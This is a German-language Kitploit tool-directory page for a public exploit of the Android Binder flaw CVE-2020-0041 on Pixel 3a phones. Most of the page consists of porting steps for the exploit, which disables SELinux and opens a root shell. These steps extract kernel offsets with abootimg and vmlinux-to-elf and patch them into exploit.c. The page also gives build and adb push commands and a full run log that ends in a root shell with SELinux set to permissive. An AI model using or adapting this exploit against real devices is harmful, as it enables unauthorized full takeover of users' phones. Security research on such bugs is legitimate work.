Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-0041-Pixel-3a — Lokaler Privilegieneskalations-Exploit für den Android-Binder-Bug CVE-2020-0041 (Pixel 3a) | Kitploit
Tools/GitHubGitHub/vaginessa/cve-2020-0041-pixel-3a
Android-SicherheitPrivilege EscalationSchwachstellenanalyseExploitationReverse EngineeringBinary-Exploitation
GitHubvaginessa/cve-2020-0041-pixel-3a

CVE-2020-0041-Pixel-3a

Lokaler Privilegieneskalations-Exploit für den Android-Binder-Bug CVE-2020-0041 (Pixel 3a)

Repository anzeigen
814vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-0041: Privilegieneskalations-Exploit

Dieses Verzeichnis enthält einen lokalen Privilegieneskalations-Exploit, eine Modifikation des bluefrostsecurity PoC für CVE-2020-0041. Der Exploit wurde mit fest codierten Offsets für ein Pixel 3-Gerät bereitgestellt, das die Firmware vom Februar 2020 (QQ1A.200205.002) ausführt. Der Exploit wurde für Pixel 3a-Geräte angepasst.

Der Exploit deaktiviert SELinux und startet dann eine Root-Shell.

Anpassen des Exploits

  1. Um den Exploit für ein beliebiges Pixel 3-Gerät anzupassen, muss die spezifische anfällige Firmware (QQ1A.200205.002) von der offiziellen Website developer android images heruntergeladen werden.

  2. Anschließend konvertieren Sie das boot.img in ein zImage. Verwenden Sie dazu abootimg.

root@kitploit:~
./abootimg -x [path_to_boot_img]
  1. Um ein unkomprimiertes Image des Kernels mit korrekten Symbolen und Offsets zu erhalten, verwenden Sie das Tool vmlinux-to-elf.
root@kitploit:~
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. Verwenden Sie einen Disassembler Ihrer Wahl, um die Bezeichnungen zu finden, die mit den im exploit.c gefundenen Exploit-Offsets zusammenhängen:
root@kitploit:~
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. Passen Sie exploit.c mit den korrekten Offsets an.

  2. Profit :)

Testen des Exploits

Der Exploit kann einfach durch Ausführen von "make" mit dem Android NDK im Pfad gebaut werden. Er kann auch mit "make all push" auf ein per adb verbundenes Telefon übertragen werden (Warnungen aus Gründen der Kürze entfernt):

root@kitploit:~
user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

Führen Sie nun einfach /data/local/tmp/poc aus einer adb-Shell aus, um den Exploit in Aktion zu sehen:

root@kitploit:~
blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
Tool herunterladen